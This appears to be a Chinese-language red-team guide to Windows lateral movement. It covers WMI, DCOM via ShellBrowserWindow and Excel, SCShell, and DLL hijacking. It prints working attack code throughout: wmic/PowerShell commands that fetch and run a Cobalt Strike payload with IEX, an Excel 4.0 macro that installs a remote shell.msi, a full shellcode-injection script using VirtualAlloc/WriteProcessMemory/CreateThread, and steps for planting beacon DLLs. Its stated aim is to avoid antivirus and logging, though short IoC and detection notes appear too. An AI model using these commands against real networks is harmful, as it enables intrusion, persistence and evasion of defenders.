Windows Lateral Movement , go go go!!!

横向移动是指从一个受损的主机转移到另一个主机的过程。横向移动的难点是在做好操作安全(OpSec)的前提下进行,也就是尽可能少的生成日志,或者生成看起来正常的日志,也就是躲在明处,避免被发现。

通过服务进行的横向移动已从SMB协议过渡到RPC和WMI。

作为一个红色团队,重要的是要了解可用的技术,其功能以及可能因使用特定技术或工具而产生的指标。

0x10 WMI 远程执行

WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术;用户可以使用WMI管理本地和远程计算机。

  1. 优点:避免了命令行执行和文件系统工件来实现任意脚本执行。
  2. 缺点:wmic命令无回显,但是可借助其他脚本(wmiexec.vbs)来实现回显功能。

0x11 利用条件

  1. 启动WMI服务(默认开启)。
  2. 开放135端口

0x12 利用方式

windows系统自带的wimc横向上线

原理:使用wmic 执行命令

  1. wmic /node:ip /user:domain_name\administrator /password:password process call create "cmd.exe /c calc"
  2. 原理:使用powershell,创建服务或调用WMI Win32_Process.CreateWin32_Product.Install方法执行命令
  3. Invoke-WmiMethod -class win32_process -name create -argumentlist notepad -ComputerName 172.16.127.184 -Credential domain_name\administrator

wmiexec.vbs执行有回显的原理

  1. 调用WMI通过账号密码或者NTLM认证(WCE注入)连接到远程计算机
  2. 建立一个到目标的IPC连接
  3. 建立一个共享文件夹,用于远程读取命令执行结果
  4. 用户输入命令时,WMI创建进程执行该命令,然后把结果输出到文件
  5. 通过FSO组件访问远程共享文件夹中的结果文件,将结果输出
  6. 调用WMI执行命令删除结果文件
  7. WMIEXEC退出时,删除文件共享

利用cs生成一个web交互式Payload来实现无文件落地上线。

Tips:因为目标主机不出网所以需要把 http://39.100.x.x:7799/a 上的payload,复制下来并在跳板机开启WEB服务,使受害机下载并执行跳板机上的Payload,上线CS。

跳板机安装了 python 运行如下命令快速开启WEB服务。

  1. shell python -m SimpleHTTPServer 8080
  2. shell wmic /node:ip /user:administrator /password:password process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"

利用wmic调用xsl文件

使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本
作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)

本地:

  1. wmic process list /FORMAT:evil.xsl

远程:

  1. wmic os get /FORMAT:"https://example.com/evil.xsl"

创建进程

  1. wmic process call create "\\?\UNC\127.0.0.1\C$\windows\system32\calc.exe"
  2. rundll32.exe url.dll, OpenURL "\\?\UNC\127.0.0.1\C$\windows\system32\calc.exe"
  3. wmic process call create "\\.\GLOBALROOT\??\UNC\127.0.0.1\C$\windows\system32\calc.exe"

WMI ActiveScriptEventConsumers远程执行

ActiveScriptEventConsumer->向事件传递事件时,以任意脚本语言执行预定义的脚本。
ActiveScriptEventConsumer类允许从JScript或VBScript引擎执行脚本代码。最后,WMI脚本宿主进程为%SystemRoot%\system32\wbem\scrcons.exe。

TL;DR

  1. string NAMESPACE = "\\\\\\\\" + Config.REMOTE_HOST + "\\\\root\\\\subscription";
  2. ConnectionOptions cOption = new ConnectionOptions();
  3. ManagementScope scope = null;
  4. scope = new ManagementScope(NAMESPACE, cOption);
  5. if (!String.IsNullOrEmpty(ACTIVE_DIRECTORY_USERNAME) && !String.IsNullOrEmpty(ACTIVE_DIRECTORY_PASSWORD))
  6. {
  7. scope.Options.Username = ACTIVE_DIRECTORY_USERNAME;
  8. scope.Options.Password = ACTIVE_DIRECTORY_PASSWORD;
  9. scope.Options.Authority = string.Format("ntlmdomain:{0}", ACTIVE_DIRECTORY_DOMAIN);
  10. }
  11. scope.Options.EnablePrivileges = true;
  12. scope.Options.Authentication = AuthenticationLevel.PacketPrivacy;
  13. scope.Options.Impersonation = ImpersonationLevel.Impersonate;

所需的组件,事件和消费者必须绑定在一起。

  • 事件筛选器:WQL事件查询,用于将事件筛选为特定条件集,例如刚刚在端点上生成的Outlook.exe。
  1. Select * From __InstanceCreationEvent Within 5
  2. Where TargetInstance Isa Win32_Process AND TargetInstance.Name = "Outlook.exe"
  3. WMI事件触发
  4. $filterName = 'BotFilter82'
  5. $consumerName = 'BotConsumer23'
  6. $exePath = 'C:\Windows\System32\notepad.exe'
  7. //过滤器
  8. $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
  9. $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user'
  10. $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath} -ComputerName 172.16.127.184 -Credential 'jumbolab.com\win7user'
  11. Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
  • 事件使用者:这是事件触发时我们想要执行的特定操作
    ActiveScriptEventConsumer和CommandLineEventConsumer类。在ActiveScriptEventConsumer类允许的脚本代码的执行(来自JScript或VBScript的发动机),而CommandLineEventConsumer类允许将运行任意命令。可以避免在LOLBin雷区中行驶的麻烦。

工具类

SharpWMI

SharpWMI是各种WMI功能的C#实现。这包括本地/远程WMI查询,通过win32_process创建远程WMI进程以及通过WMI事件订阅远程执行任意VBS。远程方法也支持备用凭据。

https://github.com/GhostPack/SharpWMI

sharpwmi

server将命令结果存在本机注册表,然后client连接注册表进行读取命令结果

https://github.com/QAX-A-Team/sharpwmi

WMIHACKER

免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32_Process.create执行命令,这些方式都已经被杀软100%拦截,通过改造出WMIHACKER免杀横向移动测试工具。(无需445端口)

https://github.com/360-Linton-Lab/WMIHACKER

CIMplant

CIMplant是一个C#重写和扩展上@christruncer的WMImplant。它使您可以收集有关远程系统的数据,执行命令,提取数据等。该工具允许使用Windows Management Instrumentation WMI或公共接口模型CIM进行连接;Windows Management Infrastructure MI更准确。CIMplant需要目标系统上的本地管理员权限。

https://github.com/FortyNorthSecurity/CIMplant

CS命令:

  1. execute-assembly 内存加载执行.NET程序集
  2. execute-assembly .netpath [arguments]
  3. 注:就是普通的内存加载执行.net程序

Impacket-wmiexec.py

半交互式外壳,可通过Windows Management Instrumentation使用。不需要在目标服务器上安装任何服务/代理。以管理员身份运行。高度隐秘。

https://github.com/SecureAuthCorp/impacket

Cobalt Strike 中的WMI

Cobalt Strike利用WMI在目标上执行Powershell负载,因此使用内置WMI时PowerShell.exe将打开,这会有操作安全性的问题,因为执行的是base64编码的负载。

IoC

  1. WMI Win32_Process Class and Create Method for Remote Execution 主要是创建服务或调用WMI Win32_Process.Create或Win32_Product.Install方法执行命令获取 参考
  2. Remote WMI ActiveScriptEventConsumers 使用ActiveScriptEventConsumers(ActiveScriptEventConsumer类允许从JScript或VBScript引擎执行脚本代码。)远程部署WMI事件参考
  3. Remote WMI Wbemcomn DLL Hijack 使用WMI进行远程DLL劫持 参考

参考

https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/
https://3gstudent.github.io/3gstudent.github.io/利用wmic调用xsl文件的分析与利用/
https://mp.weixin.qq.com/s/iwZtY-tToNRQYRi_qRQwjg

0X20 DCOM 远程执行

在Windows系统中进行横向移动的招数是非常有限的,可利用的技术屈指可数,例如psexec、WMI、at、计划任务和WinRM(如果已启用)等。
COM是Windows的一个组件,用于增强软件之间的可操作性,DCOM使用远程过程调用(RPC)将其扩展到整个网络上。因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。

优点: 在远程主机上执行的进程将会是托管COM服务器端的软件。(隐蔽性)

探索支持DCOM的应用程序,使用Win32_DCOMApplicationWMI类进行列举:

  1. Get-CimInstance -Class Win32_DCOMApplication | select appid,name \\只适用于Powershell 3.0及以上
  2. Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication \\Win7默认为2.0不支持,替代命令
  3. {c08afd90-f2a1-11d1-8455-00a0c91f3880} ShellBrowserWindow

根据这个列表,接下来可以实例化每个AppID,并使用 Get-Membercmdlet列出可用的方法:

  1. $obj = [activator]::CreateInstance([type]::GetTypeFromCLSID("c08afd90-f2a1-11d1-8455-00a0c91f3880"))
  2. $obj | Get-Member
  3. Application Property IDispatch Application () {get}
  4. $obj.Document.Application | Get-Member
  5. ShellExecute Method void ShellExecute (string, Variant, Variant, Variant, Variant)

ShellBrowserWindow COM对象的公开方法,比较常用的方法,就是其中的Document.Application.ShellExecute。所以如果我们滥用ShellBrowserWindow COM对象,那么就会在远程主机的现有explorer.exe进程中执行。

0X21 利用条件

  1. 需要目标Windows机器事先已关闭防火墙
  2. 主要针对高版本windows[2012r2之后的系统]
  3. 具有管理员权限的PowerShell
  4. 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户

0x22 利用方式

使用EXCEL.APPLICATION

利用ExecuteExcel4Macro实现横向移动

主要是利用Excel 4.0的宏,XML宏,Excel 4.0宏也通过ExecuteExcel4Macro方法公开给DCOM。修改了过程注入XLM宏示例(使用XLM代码可以直接访问Win32 API,将其写入内存,并启动新线程,访问进行shellcode注入,执行shellcode),使其也可以通过DCOM在远程主机上工作,DCOM通过ExecuteExcel4Macro将shellcode注入到excel.exe中。

可用于网络钓鱼,3月3日,微软加入了对Excel 4.0 宏的AMSI接口扫描

  1. =EXEC("msiexec /q /i http://192.168.xx.xx/shell.msi")
  2. =HALT()

这种方法的主要优势在于,目前的反病毒引擎还没有普遍支持XLM宏,并且利用这种技术,可以在DCOM启动的excel.exe进程内以无文件的方式执行该技术。因此,这种方法允许攻击者将与横向移动技术相关的指标最小化,并降低检测的概率。

查看ExcelCOM类的实例:

  1. $excel = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application"))
  2. $excel | Get-Member | findstr "ExecuteExcel4Macro"
  3. ExecuteExcel4Macro Method Variant ExecuteExcel4Macro (string)
  4. $excel.ExecuteExcel4Macro('EXEC("calc.exe")')

Excel4-DCOM工具
  1. $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
  2. $sc = get-content -Encoding Byte $Payload
  3. $memaddr = $excel.ExecuteExcel4Macro('CALL("Kernel32","VirtualAlloc","JJJJJ",0,' + $sc.length + ',4096,64)')
  4. $count = 0
  5. foreach ($byte in $sc) {
  6. $string = "CHAR`($byte`)"
  7. $ret = $excel.ExecuteExcel4Macro('CALL("Kernel32","WriteProcessMemory","JJJCJJ",-1, ' + ($memaddr + $count) + ',' + $string + ', 1, 0)')
  8. $count = $count + 1
  9. Write-Progress -Id 1 -Activity "Invoke-Excel4DCOM" -CurrentOperation "Injecting shellcode" -PercentComplete ($count / $sc.length * 100)
  10. }
  11. $excel.ExecuteExcel4Macro('CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, ' + $memaddr + ', 0, 0, 0)')

利用RegisterXLL实现横向移动-method-to-load-dll/)

通过初始化Excel.Application COM对象并将DLL传递到RegisterXLL方法,可以通过Excel加载和执行DLL。该DLL的路径并没有需要是本地的,也可以是一个UNC路径指向一个远程WebDAV服务器。

  1. $Com = [Type]::GetTypeFromProgID("Excel.Application","192.168.1.111")
  2. $Obj = [System.Activator]::CreateInstance($Com)
  3. # Detect Office bitness so proper DLL can be used
  4. $isx64 = [boolean]$obj.Application.ProductCode[21]
  5. # Load DLL from WebDAV
  6. $obj.Application.RegisterXLL("\\webdavserver\addins\calcx64.dll")

ExcelDllLoader
https://github.com/3gstudent/ExcelDllLoader

工具

powershell脚本
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1

impacket-dcomexec-与wmiexec.py类似的半交互式外壳,但使用不同的DCOM端点。当前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_22/examples/dcomexec.py

Excel4-DCOM
https://github.com/outflanknl/Excel4-DCOM

SharpExcel4-DCOM
https://github.com/rvrsh3ll/SharpExcel4-DCOM

IoC

DCOM ExecuteExcel4macro

DCOM RegisterXLL

参考

https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/

https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/

https://3gstudent.github.io/3gstudent.github.io/域渗透-利用DCOM在远程系统执行程序/

https://www.freebuf.com/articles/network/261454.html

https://3gstudent.github.io/3gstudent.github.io/Use-Excel.Application-object’s-RegisterXLL()-method-to-load-dll/-method-to-load-dll/)

通过服务配置管理器进行横向移动SC.exe

服务控制(SC.exe)是Microsoft实用程序,管理员可以使用它在Windows环境中创建,修改,删除,启动和停止服务。

它不是创建一个服务,而是简单地远程打开一个服务,通过ChangeServiceConfigA(所以要事先知道目标上的服务名称)

然后它就会启动服务。

唯一需要注意的是,可执行文件必须特别是服务二进制文件。服务二进制在必须“签入”服务控制管理器(SCM)的意义上有所不同,如果没有,则将退出执行。因此,如果为此使用了非服务二进制文件,则它将作为代理/信标返回一秒钟,然后消失。

执行完成后,服务二进制路径就会恢复到原来的路径。使用QueryServiceConfigA提取原始服务路径。

一切都在DCERPC上发生,包括认证。

工具

SCShell

SCShell中实现了一种新的使用服务横向移动的方法。.NET版本使用了 “OpenSCManager “API,根据微软的文档,该API使用了远程过程调用,它并没有创建一个新的服务,因为它依赖于修改现有服务的二进制路径,而且它可以通过使用regsvr32方法来使用无文件的有效载荷。

优点:是一个无文件的横向移动工具,依靠ChangeServiceConfigA来运行命令。这个工具的好处是,它不对SMB进行认证。一切都通过DCERPC来执行。

该工具可以在不注册服务或创建服务的情况下远程使用。它也不需要在远程系统上丢弃任何文件* (取决于执行时使用的技术)

与直接使用 sc.exe 的差别在于:如果当前进程无远程主机的权限,则需要使用 SMB 协议进行身份验证,后续步骤两者相同。

一般的服务有:XblAuthManager ,defragsvc ,msbuild等

实现此工具的技术细节
横向移动--执行命令类 - 图1
过程与 PsExec 操作服务的步骤大部分相同,区别仅是因为 SCshell是更改配置,而 PsExec 是创建服务。

参考

https://rcoil.me/2019/12/【渗透技巧】SCshell 技术细节/

Dll-hijacking

基于以上几个服务的利用,加上dll劫持技术。

利用DLL劫持

转DLL劫持的文章

利用WMI劫持

procmon进行监视,查找出可以劫持的DLL
横向移动--执行命令类 - 图2

这时,需要创建一个包含有效载荷的DLL—即Cobalt Strike信标。这个DLL将被放置在目标系统的c:\windows\system32\wbemcomn.dll中,因为它不见了,而wmiprvs.exe正试图加载它。

可以使用SMB在其中一个位置植入代理DLL,当wmiprvse.exe产生时,将提供具有NETWORK SERVICE权限的代码执行,可以使用@EthicalChaos的SweetPotato来提权。

这时,使用DLL proxying,将cs的beacon.dll 作为代理,转发wbemcomn的dll。使用工具NetClone

然后,可以使用SMB将DLL植入到远程系统上。使用WMI连接时就会触发。

利用DCOM劫持

通过DLL劫持,几乎所有通过DCOM公开的类都可能导致横向移动。

主要对 InternetExplorer.Application 类的实例化

使用DCOM实例化一个对象,查看在实例化过程,缺少的几个DLL。与WMI方式相同,先远程植入DLL。
横向移动--执行命令类 - 图3
横向移动--执行命令类 - 图4
劫持InternetExplorer.Application 类的中的(c:\Program Files\Internet Explorer\iertutil.dll”),然后远程实例化一个InternetExplorer.Application 对象:
然后象远程实例化一个InternetExplorer.Application 对象,DLL中的payload就会触发。
横向移动--执行命令类 - 图5

利用SC劫持

主要对IKEEXT(IKE and AuthIP IPsec Keying Modules)服务进行劫持

主要是利用一下三个DLL

利用wlbsctrl.dll实现的提权
利用TSMSISrv.dll和TSVIPSrv.dll实现的后门
利用MF.dll实现的后门

替换dll方式与上面的方式相同,最后使用SC 进行远程执行。

具体方式,查看三好学生大佬文章

IoC

通过检测SMB上的DLL写入。 WMI wbemcomn.dll劫持事件ID的工作流程
横向移动--执行命令类 - 图6

InternetExplorer.Application iertutil.dll劫持工作流程
横向移动--执行命令类 - 图7

参考

https://www.mdsec.co.uk/2020/10/i-live-to-move-it-windows-lateral-movement-part-3-dll-hijacking/

https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992

其他

利用 Windows 内置的工具进行横向渗透扫描
https://posts.slayerlabs.com/living-off-the-land/

工具

MSBuild,在不调用powershell.exe的情况下运行PowerShell命令

https://github.com/Mr-Un1k0d3r/PowerLessShell

无文件落地的命令执行工具

横向移动工具
https://github.com/Tylous/Vibe